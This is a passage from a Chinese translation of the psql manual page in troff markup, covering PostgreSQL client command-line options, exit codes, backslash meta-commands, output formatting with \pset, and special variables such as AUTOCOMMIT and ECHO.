如果命令字串包含多个 SQL 命令,那么他们在一个事务里处理, 除非在字串里包含了明确的 BEGIN/COMMIT 命令把他们分成多个事务。 这个和从 psql 的标准输入里给它填充相同字串不同。
.TP
\fB-d\fIdbname\fB\fR
.TP
\fB--dbname\fIdbname\fB\fR
声明想要联接的数据库名称。等效于在命令行行上把 dbname 声明为第一个非选项参数。
.TP
\fB-e\fR
.TP
\fB--echo-queries\fR
显示所由发送给服务器的查询。 等效于把变量 ECHO 设置为 queries。
.TP
\fB-E\fR
.TP
\fB--echo-hidden\fR
回显由\fB\\d\fR 和其他反斜杠命令生成的实际查询。 如果你希望在你自己的程序里包含类似的功能, 你就可以使用这个选项。这等效于在psql里设置变量ECHO_HIDDEN。
.TP
\fB-f\fIfilename\fB\fR
.TP
\fB--file\fIfilename\fB\fR
使用 filename作为命令的语句源而不是交互式读入查询。 在处理完文件后,psql 结束。这个选项在很多方面等效于内部命令\fB\\i\fR。
如果\fIfilename\fR 是\-
(连字符),则从标准输入读取。
使用这个选项与用 psql < filename 有微小的区别。通常,两者都回按照你预期那样运行,但是使用 -f打开了一些很好的特性, 比如带行号的错误信息。而且,使用这个选项还有可能有减小启动负荷的机会。 另一方面,如果你把所有内容手工输入, 使用 shell 输入定向的方式(理论上)能保证生成和你已经得到的完全一样的输出(译注:重复运行命令)。
.TP
\fB-F\fIseparator\fB\fR
.TP
\fB--field-separator\fIseparator\fB\fR
使用 separator 作为域分隔符。等效于
\fB\\pset
fieldsep\fR 或\fB\\f\fR。
.TP
\fB-h\fIhostname\fB\fR
.TP
\fB--host\fIhostname\fB\fR
声明正在运行服务器的主机名。 如果主机名以斜扛开头,则它被用做到 Unix 域套接字的路径。
.TP
\fB-H\fR
.TP
\fB--html\fR
打开HTML格式输出。等效于\\pset format html 或\fB\\H\fR 命令。
.TP
\fB-l\fR
.TP
\fB--list\fR
列出所有可用的数据库,然后退出。其他非联接选项将被忽略。类似于内部命令
\fB\\list\fR。
.TP
\fB-o\fIfilename\fB\fR
.TP
\fB--output\fIfilename\fB\fR
将所有查询输出定向到文件 filename。这个选项等效于命令\fB\\o\fR。
.TP
\fB-p\fIport\fB\fR
.TP
\fB--port\fIport\fB\fR
声明被服务器侦听的 TCP 端口或使用的缺省本地 Unix 主控套接字文件句柄。 缺省的是环境变量PGPORT的值,如果没有设置的话是编译是声明的端口,通常是 5432。
.TP
\fB-P\fIassignment\fB\fR
.TP
\fB--pset\fIassignment\fB\fR
允许你在命令行上以\fB\\pset\fR 的风格设置打印选项。 要注意的是你在这里用等号分割名称和值,而不能用空格。 因此要把输出格式设置为 LaTeX,你可以敲入 -P format=latex。
.TP
\fB-q\fR
.TP
\fB--quiet\fR
声明 psql 将安静地执行处理任务。 缺省时psql将打印欢迎和许多其他输出信息。 如果使用了此选项,这些都不出现。这在和 -c 选项一起使用时很有效。在 psql 里,你可以通过设置 QUIET 变量实现同样效果。
.TP
\fB-R\fIseparator\fB\fR
.TP
\fB--record-separator\fIseparator\fB\fR
使用 separator 做为记录分隔符。 等效于\fB\\pset recordsep\fR 命令。
.TP
\fB-s\fR
.TP
\fB--single-step\fR
进入单步模式运行。意味着每个查询在发往服务器之前都要提示用户, 用这个选项也可以取消执行。此选项主要用于调试脚本。
.TP
\fB-S\fR
.TP
\fB--single-line\fR
进入单行运行模式,这时每个命令都将由换行符结束,象分号那样。
.sp
.RS
.B "Note:"
注意: 注意这个模式是给那些坚持要这个特性的人的,我们不鼓励你这么用。 实际上,如果你在一行里混合使用 SQL 和元命令,执行的顺序对不熟练的用户而言不总是清晰的。
.RE
.sp
.TP
\fB-t\fR
.TP
\fB--tuples-only\fR
关闭打印列名称和结果行计数脚注等信息。完全等效于元命令\fB\\t\fR。
.TP
\fB-T\fItable_options\fB\fR
.TP
\fB--table-attr\fItable_options\fB\fR
允许你声明放在 HTML table 标记里的选项。 参阅\fB\\pset\fR 获取细节。
.TP
\fB-u\fR
让 psql 在和数据库联接之提示输入用户的用户名和口令。
这个选项已经废弃了,因为它在概念上有漏洞。 (提示输入非缺省用户名和提示输入服务器要求的口令是完全两码事。)我们鼓励你用 -U 和 -W 选项取代。
.TP
\fB-U\fIusername\fB\fR
.TP
\fB--username\fIusername\fB\fR
以用户 username 代替缺省用户与数据库联接。(当然,你必须有这么做的权限。)
.TP
\fB-v\fIassignment\fB\fR
.TP
\fB--set\fIassignment\fB\fR
.TP
\fB--variable\fIassignment\fB\fR
进行一次变量分配,象内部命令\fB\\set\fR 那样。 注意,如果有变量名和值的话,你必须在命令行上用等号分隔它们。要重置一个变量, 去掉等号。这个分配是在启动的很早的阶段进行的,所以为内部使用保留的变量可能被再次覆盖。
.TP
\fB-V\fR
.TP
\fB--version\fR
显示psql版本。
.TP
\fB-W\fR
.TP
\fB--password\fR
要求 psql 在与一个数据库联接前提示输入口令。 这个选项将在整个会话过程中有效,即使你用元命令 \fB\\connect\fR 改变了所联接的数据库。
在当前版本里,如果服务器要求口令认证,psql 自动提出一个口令提示符。因为目
前这个特性是以一个\(lqhack\(rq为基础, 自动识别有可能奇怪地失效,因此用这个选项
强制一个提示符。 如果没有声明口令提示符而服务器要求口令认证,那么联接企图
将失败。
.TP
\fB-x\fR
.TP
\fB--expanded\fR
打开扩展表格式模式。等效于\fB\\x\fR。
.TP
\fB-X,\fR
.TP
\fB--no-psqlrc\fR
不读取启动文件 \fI~/.psqlrc\fR。
.TP
\fB-?\fR
.TP
\fB--help\fR
显示关于psql命令行参数的帮助。
.SH "EXIT STATUS 退出状态"
.PP
如果正常结束,那么\fBpsql\fR 向 shell 返回 0,如果自身发生致命错误,则返回 1(内存用尽,未找到文件等), 如果和数据库的连接失效而且会话不再活跃则返回 2,如果脚本中发生错误并且设置了 ON_ERROR_STOP 则返回 3。
.SH "USAGE 用法"
.SS "CONNECTING TO A DATABASE 与一个数据库联接"
.PP
\fBpsql\fR 是一个普通的 PostgreSQL 客户端应用。为了与一个数据库联接,你需要知道你的目标数据库, 服务器的主机名和端口号以及你希望以哪个用户的身份进行联接等信息。 我们可以通过命令行参数告诉 psql 这些信息,分别是 -d, -h,-p,和 -U。 如果有个参数不属于任何选项开关,那么它会被解释成数据库名(或者是用户名-如果数据库名称也给出了。)。 不是所有这些选项都是必须的,缺省的也可以。如果你省略主机名, psql 将通过 Unix 域套接字与本地主机的服务器相联。 缺省的端口号是编译时确定的。因为数据库服务器使用同样的缺省值, 所以在大多数设置下,你可能不需要声明端口号。缺省的用户名是你的 Unix 用户名,与数据库同名。 要注意的是你不能用任意用户名与任何数据库相联。你的数据库管理员应该告诉你你的访问权限。 你可以通过设置几个环境变量 PGDATABASE, PGHOST,PGPORT 和 PGUSER 为对应的值的方法节约几次敲击。
.PP
如果因为任何原因而无法与数据库相联(例如,权限不够,服务器没有运行等), psql 将返回一个错误并退出。
.SS "ENTERING SQL COMMANDS 输入 SQL 命令"
.PP
通常状况下,psql 提供一个带有 psql 正在与之联接的接数据库名的,后缀 =>的提示符。例如,
.sp
.nf
$\fBpsql testdb\fR
Welcome to psql 7.4beta5, the PostgreSQL interactive terminal.
Type: \\copyright for distribution terms
\\h for help with SQL commands
\\? for help on internal slash commands
\\g or terminate with semicolon to execute query
\\q to quit
testdb=>
.sp
.fi
.PP
用户可以在这个提示符下键入SQL 查询。 通常,输入的行将在命令终止分号出现时送到服务器。 一行的终止并不结束命令!因此命令可以因清晰起见跨越好几行。如果命令发送出去而且没有错误, 命令结果会显示在屏幕上。
.PP
当命令正在进行时,psql 同样还轮询由 LISTEN [\fBlisten\fR(7)] 和 NOTIFY [\fBnotify\fR(7)] 生成的异步通知信号。
.SS "META-COMMANDS 元命令"
.PP
你在 psql 里输入的任何以不带引号的反斜杠('\\')开头的东西都是 psql 元命令,这些命令是由 psql 自己处理的。这些命令也是令 psql 可用于管理或书写脚本的原因。 元命令更常见的叫法是斜杠或反斜杠命令。
.PP
一个 psql 命令的格式是反斜杠后面紧跟一个命令动词,然后是任意参数。 参数与命令动词和其他参数以任意个空白字符间隔。
.PP
要在参数里面包含空白,你必须用单引号把它包围起来。 要在这样的参数里包含单引号,前面加一个反斜杠。 任何包含在单引号里的东西会被进一步进行类 C 的替换,把
\\n (new line),\\t (tab),
\\\fIdigits\fR,
\\0\fIdigits\fR, 和
\\0x\fIdigits\fR
(给出的十进制,八进制,或十六进制码的字符)替换掉。
.PP
如果一个不带引号的参数以冒号(:)开头, 它会被当作一个psql 变量,并且该变量的值会最终成为真正的参数值。 (译注:类似 ecpg 和 pl/pgsql 的变量用法。)
.PP
用反引号 ("backticks" `) 包围的内容被当作一个命令行传入 shell。 该命令的输出(删除了结尾的新行)被当作参数值。上面描述的逃逸(字符)序列在反引号里也生效。
.PP
有些命令以一个 SQL 标识的名称(如,一个表名)为参数。 这些参数遵循 SQL 语法关于双引号的规则: 不带双引号的标识强制成小写, 而双引号保护字母不受大小写转换,并且允许在标识符中使用空白。 在双引号中,成对的双引号在结果名字中分析成一个双引号。比如, FOO"BAR"BAZ 解析成 fooBARbaz,而 "A weird"" name" 变成 A weird" name。
name.
.PP
对参数的分析在碰到另一个不带引号的反斜杠时停止。 这里会认为是一个新的元命令的开始。特殊序列 \\\\ (双反斜杠)标识参数的结尾并将继续分析后面的 SQL 命令(如果存在的话)。这样 SQL 和 psql命令可以自由的在一行里面混合。 但是在任何情况下,一条元命令的参数不能延续超过行尾。
.PP
下列元命令是已定义的:
.TP
\fB\\a\fR
如果目前的表输出格式是不对齐的,切换成对齐的。 如果是对齐的,切换成不对齐。这条命令是为了向后兼容。参阅\fB\\pset\fR 获取一个通用的解决方法。
.TP
\fB\\cd [\fIdirectory\fB]\fR
把当前工作目录改变到 directory。 没有参数是则改变到当前用户的家目录。
.sp
.RS
.B "Tip:"
提示: 要打印出你的当前工作目录,使用\\!pwd.
.RE
.sp
.TP
\fB\\C [\fItitle\fB ]\fR
把正在打印的表的标题设置为一个查询的结果或者取消这样的设置。 这条命令等效于
\\pset title\fItitle\fR. (这条命令的名称源于 "caption",因为以前只是用于在一个 HTML 表里面设置标题。)
.TP
\fB\\connect (or\\c) [\fIdbname\fB [\fIusername\fB ] ]\fR
与一个新的数据库建立一个联接,使用/不用一个用户名。 前面的联接将关闭。如果 dbname 是 -,那么就假设是当前数据库名称。
如果省略 username,则假设是当前用户名。
作为一条特殊规则,不带任何参数运行\fB\\connect\fR 将以缺省用户身份与缺省数据库连接(正如你不带任何参数运行 psql 一样。)
如果联接失败(用户名错,访问拒绝等),那么将保留前面的联接--当且仅当在 psql 处于交互模式下如此。 如果运行的是非交互的脚本,处理会马上停止,并返回一个错误。 选择这样的区别是一方面为用户使用方便考虑,另一方面为保证脚本不会碰巧操作了错误的数据库的安全机制考虑的。
.TP
\fB\\copy\fItable\fB\fR
执行前端(客户端)拷贝。这是一个运行 SQL COPY 命令的操作, 不同的是 SQL COPY 是服务器在读写指明的文件,而 psql 读写文件并作为本地的文件系统和服务器之间的路由取出或写入数据。 这意味着文件访问性和权限都是本地用户的,而不是服务器的,因此不需要 SQL 超级用户权限。
这条命令的语法是模拟 SQL COPY 命令的。(参考它的描述获取细节。) 要注意的是由此而来,有一些特殊的分析规则应用于\fB\\copy\fR 命令。 尤其是变量替换规则和反斜杠代换规则不起作用。
.sp
.RS
.B "Tip:"
提示: 此操作不象 SQL COPY 命令这样高效, 因为所有数据必须通过客户端/服务器联接。对于大数据量的操作,另一种方法更可行。
.RE
.sp
.sp
.RS
.B "Note:"
注意: 注意在客户端和服务器拷贝时对 stdin 和 stdout 的解释的区别:在前端拷贝时,这些总是指 psql的输入和输出流。在服务器拷贝时 stdin 来自 COPY 本身的标准输入(比如,一个带有 -f 选项的脚本), 而 stdout 指的是查询输出流(参阅下面的\fB\\o\fR 元命令)。
.RE
.sp
.TP
\fB\\copyright\fR
显示 PostgreSQL 的版权和版本信息。
.TP
\fB\\d [\fIpattern\fB ]\fR
对于每个匹配pattern的关系(表,视图,索引或者序列), 显示所有列,它们的类型,和任何特殊属性,象NOT NULL或缺省等--只要存在。 如果实际上这个关系是一个表,任何已定义的索引,主键,唯一约束相关的索引,规则,约束,和触发器也同样显示出来, 如果关系是一个视图,还显示视图的定义。 ("匹配模式"在下面定义。)
从\\d+ 来的命令也是一样的,只不过还显示与表的列关联的注解。
.sp
.RS
.B "Note:"
注意: 如果如果不带任何pattern调用\fB\\d\fR , 等效于\fB\\dtvs\fR,将显示一个所有表,视图和序列的列表。 这完全是出于方便的考虑。
.RE
.sp
.TP
\fB\\da [\fIpattern\fB ]\fR
列出所有可用聚集函数,以及它们操作的数据类型。如果声明了 pattern,那么只显示匹配(正则表达式)的聚集函数。
.TP
\fB\\dc [\fIpattern\fB ]\fR
列出所有字符集之间的可用转换。如果声明了 pattern, 则只列出那些匹配模式的转换。
.TP
\fB\\dC\fR
列出所有类型转换。
.TP
\fB\\dd [\fIpattern\fB ]\fR
显示所有匹配 pattern 的描述,如果没有给出参数,显示所有可视对象。 但是不管怎样,只有那些有描述内容的对象才显示出来。 ("对象"包括聚集,函数,操作符,类型, 关系(表,视图,索引,序列,大对象),规则和触发器。)例如:
.sp
.nf
=>\fB\\dd version\fR
Object descriptions
Schema | Name | Object | Description
------------+---------+----------+---------------------------
pg_catalog | version | function | PostgreSQL version string
(1 row)
.sp
.fi
可以用\fBCOMMENT SQL\fR 命令生成对对象的描述。
.TP
\fB\\dD [\fIpattern\fB ]\fR
列出所有可用域。如果声明了 pattern,那么只显示匹配的域。
.TP
\fB\\df [\fIpattern\fB ]\fR
列出所有可用函数,以及它们的参数和返回的数据类型。如果声明了 pattern,那么只显示匹配(正则表达式)的函数。如果使用了\\df+ 的形式,每个函数的附加信息,包括语言和描述也会显示出来。
.sp
.RS
.B "Note:"
注意: 为了减少混乱,\\df 并不显示数据类型的 I/O 函数。 这样是通过忽略那些接受或者返回类型 cstring 的函数实现的。
.RE
.sp
.TP
\fB\\distvS [\fIpattern\fB ]\fR
这不是一个实际上的命令名称:字母 i,s,t,v,S 分别代表索引(index), 序列(sequence),表(table),视图(view)和系统表(system table)。 你可以以任意顺序声明任意或者所有这些字母获得这些对象的一个列表。 字幕 S 把列表限制于系统对象;如果没有 S,则只显示非系统对象。 如果在命令名上附加了 +,那么还会列出和每个对象相关联的描述,如果有的话。
如果声明了 pattern,那么只列出匹配模式的对象。
.TP
\fB\\dl\fR
这是\fB\\lo_list\fR 的别名,显示一个大对象的列表。
.TP
\fB\\dn [\fIpattern\fB ]\fR
列出所有可用模式(名字空间)。如果声明了 pattern (一个正则表达式),那么只列出匹配模式的模式名。
.TP
\fB\\do [\fIpattern\fB ]\fR
列出所有可用操作符,以及它们的操作数和返回的数据类型。 如果声明了 pattern,那么只显示匹配模式的操作符。
.TP
\fB\\dp [\fIpattern\fB ]\fR
生成一列可用的表和它们相关的权限。 如果声明了 pattern, 那么只列出名字可以匹配模式的表。
命令\fBgrant\fR(7) 和\fBrevoke\fR(7) 用于设置访问权限。参阅\fBgrant\fR(7) 获取更多信息。
.TP
\fB\\dT [\fIpattern\fB ]\fR
列出所有数据类型或只显示那些匹配 pattern的。这条命令的\\dT+ 形式显示更多信息。
.TP
\fB\\du [\fIpattern\fB ]\fR
列出所有已配置用户或者只列出那些匹配 pattern 的用户。
.TP
\fB\\edit (or\\e) [\fIfilename\fB ]\fR
如果声明了 filename, 则编辑此文件并且在编辑器退出后将其内容拷贝回查询缓
冲区。 如果没有给出参数,则把当前查询缓冲区内容拷贝到一个临时文件然后以相
同方式编辑。
然后根据一般的psql规则重新分析查询缓冲区, 这时整个缓冲区当作一个单行。
(因此你无法用这个方法制作\(lq脚本\(rq,用\fB\\i\fR 做脚本。) 这还意味着
如果该查询以分号结尾(或者包含分号),它就会马上被执行。否则它只是在查询
缓冲区里等待。
.sp
.RS
.B "Tip:"
提示: psql 搜索环境变量 PSQL_EDITOR,EDITOR 和 VISUAL(以此顺序)查找要用到哪个编辑器。如果上面的都没有设置,使用\fI/bin/vi\fR。
.RE
.sp
.TP
\fB\\echo\fItext\fB [ ... ]\fR
向标准输出打印参数,用一个空格分隔并且最后跟着一个新行。 这个特性在显示脚本的输出时会有用。例如:
.sp
.nf
=>\fB\\echo `date`\fR
Tue Oct 26 21:40:57 CEST 1999
.sp
.fi
果第一个参数是一个无引号的 -n,那么不会写出结尾的新行。
.sp
.RS
.B "Tip:"
提示: 如果你使用\fB\\o\fR 命令重定向你的查询的输出,你可能会用\fB\\qecho\fR 取代这条命令。
.RE
.sp
.TP
\fB\\encoding [\fIencoding\fB ]\fR
设置客户端字符编码方式。不带参数时,这条命令显示当前的编码方式。
.TP
\fB\\f [\fIstring\fB ]\fR
为不对齐的查询输出设置域分隔符。缺省时是竖条(|)。 参阅\fB\\pset\fR 获取设置输出选项的通用方法。
.TP
\fB\\g [ {\fIfilename\fB | |\fIcommand\fB } ]\fR
把当前的查询输入缓冲区的内容发送给服务器并且把输出输出到可选的 filename 或者把输出定向到一个独立的 Unix shell 执行 command。 单独一个\\g 实际上等效于一个分号。一个带有参数的\\g 是"一次性"的\\o 命令的代用品。
.TP
\fB\\help (or\\h) [\fIcommand\fB ]\fR
给出指定 SQL 命令的语法帮助。如果没有给出 command ,那么 psql 将列出可获得语法帮助的所有命令。如果 command 是一个星号("*"),则显示所有 SQL 命令的语法帮助。
.sp
.RS
.B "Note:"
注意: 为简化敲击,包含多个单字的命令不需要引用。因此键入\fI\\help alter table\fP 是正确的。
.RE
.sp
.TP
\fB\\H\fR
打开 HTML 查询输出格式。如果 HTML 格式已经打开,则切换回缺省的对齐的文本格式。 这个命令是为了兼容和方便,参阅\fB\\pset\fR 获取设置其他输出选项的内容。
.TP
\fB\\i\fIfilename\fB\fR
从文件filename中读取并把其内容当作从键盘输入的那样执行查询。
.sp
.RS
.B "Note:"
注意: 如果你想在屏幕上看到读入的行,你必须对所有行设置变量 ECHO 为 all。
.RE
.sp
.TP
\fB\\l (or\\list)\fR
列出服务器上所有数据库的名字和它们的所有者以及字符集编码。在命令名称后面加一个 "+" 还可以看到对数据库的描述。
.TP
\fB\\lo_export\fIloid\fB\fIfilename\fB\fR
从数据库里读取 OID 为 loid 的大对象并把她写到 filename里。 注意这个功能与服务器函数 lo_export 有些微小的区别, lo_export 运行时带着运行数据库服务器的用户权限, 而且是在服务器的文件系统上。
.sp
.RS
.B "Tip:"
提示: 使用\fB\\lo_list\fR 查看大对象的 OID。
OID.
.RE
.sp
.TP
\fB\\lo_import\fIfilename\fB [\fIcomment\fB ]\fR
把文件存储为一个 PostgreSQL 大对象。可以带着一个该对象的注解选项。例如:
.sp
.nf
foo=>\fB\\lo_import '/home/peter/pictures/photo.xcf' 'a picture of me'\fR
lo_import 152801
.sp
.fi
响应表明此大对象得到一个对象标识 152801,如果你还想访问该对象,就应该把这个对象标识记住。 因此,我们建议总是给每个对象关联一个人类可读的注解。那样就可以用\fB\\lo_list\fR 命令看到这些注解。
注意这条命令与服务器端的 lo_import 有一些区别,因为这条命令是本地用户在本地文件系统上操作, 而不是以服务器用户在服务器文件系统上操作。
.TP
\fB\\lo_list\fR
显示一个目前存储在该数据库里的所有 PostgreSQL 大对象和它们的所有者的列表。
.TP
\fB\\lo_unlink\fIloid\fB\fR
从数据库里删除OID为\fIloid\fR 的大对象。
.sp
.RS
.B "Tip:"
提示: 使用\fB\\lo_list\fR 查找大对象的 OID。
OID.
.RE
.sp
.TP
\fB\\o [ {\fIfilename\fB | |\fIcommand\fB} ]\fR
把后面的查询结果保存到文件 filename 里或者把后面的查询结果定向到一个独立的 Unix shell 执行 command。 如果没有声明参数,查询输出重置为标准输出。
"查询结果"包括所有表,命令响应和从数据库服务器来的提示, 同样还有各种各样查询数据库的反斜杠命令的输出(如\fB\\d\fR),但是没有错误信息。
.sp
.RS
.B "Tip:"
提示: 要用文本分散查询结果之间的输出,用\fB\\qecho\fR。
.RE
.sp
.TP
\fB\\p\fR
打印当前查询缓冲区到标准输出。
.TP
\fB\\pset\fIparameter\fB [\fIvalue\fB ]\fR
这条命令设置影响查询结果表输出的选项。parameter 描述要设置的选项是哪一个。value 的语意也取决于它。
可调节的打印选项有:
.RS
.TP
\fBformat\fR
设置输出格式为 unaligned,aligned,html, 或 latex之一。允许使用唯一的缩写。(这也意味着一个字母就够了。)
"Unaligned" (不对齐)把一条记录的所有字段都输出到一行, 用当前有效的域分隔符分隔。这主要用于生成那些要被其他程序读取的输出(tab分隔,逗号分隔)。 "Aligned" (对齐)模式是标准的,人类可读的,格式化好了的文本输出,也是缺省。 "HTML" 和 "LaTeX" 模式把表输出为可用于文档里的对应标记语言。它们还不是完整的文档! (可能对于 HTML 变化还不是太大,但是在 LaTeX 里,你必须有一个完整的文档包装器。)
.TP
\fBborder\fR
第二个参数必须是一个数字。通常,数字越大,表就有越宽的边界和越多的线, 但是这个参数取决于实际的格式。在HTML模式里, 这个参数会直接翻译成border=...属性,在其他的模式里, 只有值 0 (无边界),1 (内部分隔线)和 2 (表框架)有意义。
.TP
\fBexpanded (or x)\fR
在正常和扩展格式之间切换。当打开扩展格式时,所有的输出都是两列, 字段名称在左,数据在右。 这个模式在数据无法放进通常的"水平"模式的屏幕时很有用。
所有四种输出模式都支持扩展格式。
.TP
\fBnull\fR
第二个参数是一个字串,用以代表字段的值为 null 时的打印输出。 缺省是什么都不打,这样很容易和类似一个空字串混淆。 因此,我们可能选择\\pset null '(null)'。
.TP
\fBfieldsep\fR
声明在非对齐模式时的域分隔符。 这样我们就可以创建其他程序希望的tab或逗号分隔的输出。要设置 tab 域分隔符, 键入\\pset fieldsep '\t'。缺省域分隔符是 '|' (一个竖条符号)。
.TP
\fBfooter\fR
切换默认足标的显示 (x rows)。
.TP
\fBrecordsep\fR
声明在非对齐模式时的记录分隔符。缺省是换行符。
.TP
\fBtuples_only (或 t)\fR
在完全显示和只显示记录之间切换。 完全显示将显示象列头,标题和各种脚注等信息。 只显示记录模式将只显示实际的表数据。
.TP
\fBtitle [\fItext\fB ]\fR
为任何随后打印的表设置标题。 这个参数可以用于给你的输出一个描述性标记。 如果不带参数,重置标题。
.TP
\fBtableattr (or T) [\fItext\fB ]\fR
允许你声明放在 HTML table 标记里的任何属性。例如,可以是 cellpadding 或 bgcolor。注意你可能不需要在这里声明 border ,因为已经在\\pset border 里用过了。
.TP
\fBpager\fR
控制查询和psql帮助输出的分页器。如果设置了环境变量 PAGER, 输出被定向到指定程序,否则使用系统缺省(比如 more)。
如果关闭了分页器,则不使用它,如果打开了,程序只在需要的时候使用分页器,也就是说, 输出是到终端,而且那个表很可能无法与屏幕匹配。 (psql 在决定何时分页时不是很完美。)\\pset pager 开关分页器。我们也可以把分页器设置为 always,导致我们在任何情况下都使用分页器。
.RE
.PP
可以在 "Examples 例子" 节看到这些不同格式输出的示例。
.sp
.RS
.B "Tip:"
提示: 有很多用于\fB\\pset\fR 的快速命令。参阅
\fB\\a\fR,\fB\\C\fR,\fB\\H\fR,
\fB\\t\fR,\fB\\T\fR, 和\fB\\x\fR。
.RE
.sp
.sp
.RS
.B "Note:"
注意: 无参数运行\fB\\pset\fR 是错误的。 以后这样调用将显示当前打印选项状态。
.RE
.sp
.TP
\fB\\q\fR
退出 psql 程序。
.TP
\fB\\qecho\fItext\fB [ ... ]\fR
这条命令等效于\fB\\echo\fR ,区别是所有输出将写入由\fB\\o\fR 设置的输出通道。
.TP
\fB\\r\fR
重置(清空)查询缓冲区。
.TP
\fB\\s [\fIfilename\fB ]\fR
将命令行历史打印出或是存放到 filename。 如果省略 filename, 历史将输出到标准输出。这个选项只有在 psql 配置成使用 GNU 历史库后才生效。
.sp
.RS
.B "Note:"
注意: 在当前版本里,这个( GNU 历史库)不再是必须的了, 实际上,在程序结束时自动保存命令行历史。每次 psql 启动都会装载命令行历史。
.RE
.sp
.TP
\fB\\set [\fIname\fB [\fIvalue\fB [ ... ]]]\fR
设置内部变量 name 为 value 或着如果给出了多于一个值, 设置为所有这些值的联接结果。如果没有给出第二个参数,只设变量不设值。要重置一个变量,使用\fB\\unset\fR 命令。
有效的变量名可以包含字符,数字和下划线。 参阅下面的 "Variables 变量" 获取细节。
尽管你可以设置任何变量为任意值, psql对一些变量特殊对待。它们在关于变量的节里面有文档。
.sp
.RS
.B "Note:"
注意: 这条命令是完全和 SQL 命令 SET [\fBset\fR(7)] 不一样的。
.RE
.sp
.TP
\fB\\t\fR
切换输出的列/字段名的信息头和行记数脚注。 这条命令等效于\\pset tuples_only,提供主要为了方便。
.TP
\fB\\T\fItable_options\fB\fR
允许你在使用HTML输出模式时声明放在 table 标记里的属性。 这条命令等效于\\pset tableattr table_options。
.TP
\fB\\timing\fR
切换每个 SQL 语句使用的时间,单位是毫秒。
.TP
\fB\\w {\fIfilename\fB |\fI|command\fB}\fR
将当前查询缓冲区输出到文件 filename 或者定向到 Unix 命令 command。
.TP
\fB\\x\fR
切换扩展行格式。等效于\\pset expanded。
.TP
\fB\\z [\fIpattern\fB ]\fR
生成一个带有访问权限列表的数据库中所有表的列表。 如果给出任何pattern,则被当成一个规则表达式, 只显示匹配的表。
命令\fBgrant\fR(7) 和\fBrevoke\fR(7) 用于设置访问权限。 参阅\fBgrant\fR(7) 获取更多信息。
这是\fB\\dp\fR("显示权限")的别名。
.TP
\fB\\! [\fIcommand\fB ]\fR
返回到一个独立的 Unix shell 或者执行 Unix 命令 command。 参数不会被进一步解释,shell 将看到全部参数。
.TP
\fB\\?\fR
获得关于反斜杠命令的帮助信息。
.PP
.PP
各种\\d 命令都接受一个 pattern 参数,声明要显示的对象名字。* 表示"任何字符序列", 而 ? 表示"任何单个字符"。(这个表示法和 Unix 的 shell 文件名模式兼容。) 高级用户也可以使用正则表达式表示法,比如字符表,[0-9] 这样的东西来匹配"任意数字"。 要让任何这些模式匹配字符可以安字面方式解析,那就应该用双引号包围它们。
.PP
一个包含(无引号的)句点的模式会被解析承一个模式名的模式后面跟着一个对象名的模式。 比如,\\dt foo*.bar* 显示所有以foo 开头的模式里的以 bar 开头的表名字。 如果没有出现句点,那么这个模式只匹配在当前模式搜索路径中可见的对象。
.PP
如果完全省略 pattern 参数, 那么\\d 命令显示所有在当前模式搜索路径中可见的对象。 要查阅在数据库中的所有对象,使用模式 *.*。
.SS "ADVANCED FEATURES 高级特性"
.SS "VARIABLES 变量"
.PP
\fBpsql\fR 提供类似通常 Unix 命令 shell 那样的变量替换特性。 变量只是简单的名称/数值对, 这里的值可以是任何长度的任何值。要设置一个变量,使用 psql 元命令
\fB\\set\fR:
.sp
.nf
testdb=>\fB\\set foo bar\fR
.sp
.fi
把变量"foo" 设置为值 "bar"。 要检索变量的内容,在变量名前面放上冒号然后把它用在任意斜杠命令里:
.sp
.nf
testdb=>\fB\\echo :foo\fR
bar
.sp
.fi
.sp
.RS
.B "Note:"
注意: \fB\\set\fR 的参数服从和其他命令一样的替换规则。 因此你可以构造有趣的引用,象\\set :foo 'something' 这样, 获得分别象Perl或 PHP那样有名的"软连接(soft links)"或"变量 变量"。 不幸的是(或者 万幸的?),用这些构造不能做任何有用的事情。另一方面,\\set bar :foo 是一个非常有效的拷贝变量的方法。
.RE
.sp
.PP
如果你不带第二个参数调用\fB\\set\fR, 那么只是设置这个变量而没有值。 要重置(或删除)一个变量,使用命令\fB\\unset\fR。
.PP
\fBpsql\fR 的内部变量可以包括任意顺序, 任意数量的字母,数字和下划线。 有一些常用变量被 psql 另眼相待。它们是一些选项设置, 这些选项在运行时可以通过改变变量的值或者改变一些应用的表现状态而改变。 尽管你可以把这些变量用于其他用途,但是我们不鼓励这么做,因为程序的特性可能会很快变得非常奇怪。 通常,所有特殊对待的变量都是由大写字母组成(可能还有数字和下划线)。 为了保证和未来的最大限度的兼容性,请避免使用这样的变量。 下面是一个所有特殊对待的变量列表。
.TP
\fBAUTOCOMMIT\fR
如果是 on(缺省),那么每个 SQL 命令都在成功完成后自动提交。 要推迟这种模式下的提交,你必须输入一个 BEGIN 或者 START TRANSACTION SQL 命令。 如果是 off 或者未设置,SQL 命令不会提交,知道你明确地发出 COMMIT 或者 END。 关闭自动提交的模式是通过为你明确发出一个 BEGIN 实现的, 它是放在任何尚未在一个事务块中并且自己不是 BEGIN 或者其它事务控制命令的前面。
.sp
.RS
.B "Note:"
注意: 在关闭自动提交的模式下,你必须明确放弃任何失败的事务,方法是执行 ABORT 或者 ROLLBACK。 还要注意如果你不提交就退出会话,你的工作会丢失。
.RE
.sp
.sp
.RS
.B "Note:"
注意: 自动提交打开方式是 PostgreSQL 传统的行为, 但是关闭自动提交更接近 SQL 规范。如果你喜欢关闭自动提交,你应该在你的\fI.psqlrc\fR 文件里设置它。
.RE
.sp
.TP
\fBDBNAME\fR
你正在联接着的数据库名称。 每次你与一个数据库联结都会设置这个值(包括程序启动),但是可以删除。
.TP
\fBECHO\fR
如果置为 all, 输入的或者来自一个脚本的所有行在分析或执行前都写到标准输出。 要在程序启动时声明这些,使用 -a如果设置为 queries, psql 只是在查询发送给服务器之前打印出来。 实现这个功能的命令行选项是 -e。
.TP
\fBECHO_HIDDEN\fR
当设置了这个变量并且一个反斜杠命令查询数据库时,首先显示查询。 这样你可以学习 PostgreSQL 内部的东西并且在你自己的程序里提供类似功能。如果你设置该变量的值为 "noexec",查询只是显示出来但是实际上不发送到服务器和执行。
.TP
\fBENCODING\fR
当前的客户端字符集编码。
.TP
\fBHISTCONTROL\fR
如果这个变量设置为 ignorespace, 以空格开始的行将不会进入历史列表。 如果设置为变量 ignoredups, 与以前历史记录里匹配的行也不会进入历史记录。值 ignoreboth是上面两个的结合。 如果删除此变量或者其值为任何与上面的值不同的东西, 所有交互模式读入的行都被保存入历史列表。
.sp
.RS
.B "Note:"
注意: 这个特性是无耻地从\fBbash\fR 里剽窃来的。
.RE
.sp
.TP
